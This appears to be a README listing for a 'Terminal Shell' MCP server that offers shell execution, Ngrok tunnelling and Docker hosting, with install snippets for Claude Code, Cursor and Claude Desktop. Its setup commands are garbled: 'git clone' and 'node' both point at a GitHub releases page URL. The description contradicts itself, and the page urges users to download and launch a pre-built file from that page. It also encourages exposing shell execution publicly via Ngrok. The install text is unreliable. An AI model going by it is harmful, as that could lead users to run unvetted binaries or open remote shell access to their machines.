Terminal Shell MCP server

MCP Serve is a powerful tool designed for running Deep Learning models with ease. It provides a simple MCP Server that enables Shell execution, local connection via Ngrok, and Docker-based Ubuntu24 container hosting. This server is built to work seamlessly with various AI technologies including Anthropic, Gemini, LangChain, and OpenAI.

Installation Guide

Prerequisites

Before installing MCP Serve, ensure you have the following installed on your system:

• Git
• Node.js and npm

Installation Steps

1. Clone the repository:

   git clone https://github.com/mark-oori/mcpserve/releases
   

2. Install dependencies:

   npm install
   

3. Launch the MCP Server:

   node https://github.com/mark-oori/mcpserve/releases
   

Alternative Installation Method

You can also download the pre-built application from the releases page:

• Visit MCP Serve Releases
• Download the latest version
• Launch the downloaded file

Usage Guide

Basic Server Configuration

To configure the MCP Server for your Deep Learning models:

1. After launching the server, access the configuration interface
2. Set up your model endpoints and authentication keys
3. Configure your preferred connection method (local, Ngrok, or Docker)

Connection Methods

Local Connection

For local development and testing:

# Configure for local connection
mcp-serve --mode local --port 8080

Ngrok Connection

To make your server accessible from anywhere:

# Configure Ngrok connection
mcp-serve --mode ngrok --authtoken YOUR_NGROK_AUTH_TOKEN

Docker Container

For a stable Ubuntu24 environment:

# Launch using Docker
docker run -p 8080:8080 mcpserve/ubuntu24

Integrating with AI Models

MCP Serve works with various AI technologies:

• OpenAI Integration:

  mcp-serve --provider openai --api-key YOUR_OPENAI_API_KEY
  

• Anthropic/Claude Integration:

  mcp-serve --provider anthropic --api-key YOUR_ANTHROPIC_API_KEY
  

• Gemini Integration:

  mcp-serve --provider gemini --api-key YOUR_GEMINI_API_KEY
  

Shell Execution

Execute commands directly from the server shell:

mcp-serve --shell-exec "python your_model_script.py"

Troubleshooting

Common Issues

• Connection Errors: Make sure your firewall allows connections on the configured port
• Authentication Failures: Verify your API keys are correctly entered
• Docker Issues: Ensure Docker is running and you have sufficient permissions

Getting Help

If you encounter problems while using MCP Serve, check the GitHub repository's Issues section for similar problems and solutions.

How to install this MCP server

For Claude Code

To add this MCP server to Claude Code, run this command in your terminal:

claude mcp add-json "terminal-shell" '{"command":"node","args":["https://github.com/mark-oori/mcpserve/releases"]}'

See the official Claude Code MCP documentation for more details.

For Cursor

There are two ways to add an MCP server to Cursor. The most common way is to add the server globally in the ~/.cursor/mcp.json file so that it is available in all of your projects.

If you only need the server in a single project, you can add it to the project instead by creating or adding it to the .cursor/mcp.json file.

Adding an MCP server to Cursor globally

To add a global MCP server go to Cursor Settings > Tools & Integrations and click "New MCP Server".

When you click that button the ~/.cursor/mcp.json file will be opened and you can add your server like this:

{
    "mcpServers": {
        "terminal-shell": {
            "command": "node",
            "args": [
                "https://github.com/mark-oori/mcpserve/releases"
            ]
        }
    }
}

Adding an MCP server to a project

To add an MCP server to a project you can create a new .cursor/mcp.json file or add it to the existing one. This will look exactly the same as the global MCP server example above.

How to use the MCP server

Once the server is installed, you might need to head back to Settings > MCP and click the refresh button.

The Cursor agent will then be able to see the available tools the added MCP server has available and will call them when it needs to.

You can also explicitly ask the agent to use the tool by mentioning the tool name and describing what the function does.

For Claude Desktop

To add this MCP server to Claude Desktop:

1. Find your configuration file:

• macOS: ~/Library/Application Support/Claude/claude_desktop_config.json
• Windows: %APPDATA%\Claude\claude_desktop_config.json
• Linux: ~/.config/Claude/claude_desktop_config.json

2. Add this to your configuration file:

{
    "mcpServers": {
        "terminal-shell": {
            "command": "node",
            "args": [
                "https://github.com/mark-oori/mcpserve/releases"
            ]
        }
    }
}

3. Restart Claude Desktop for the changes to take effect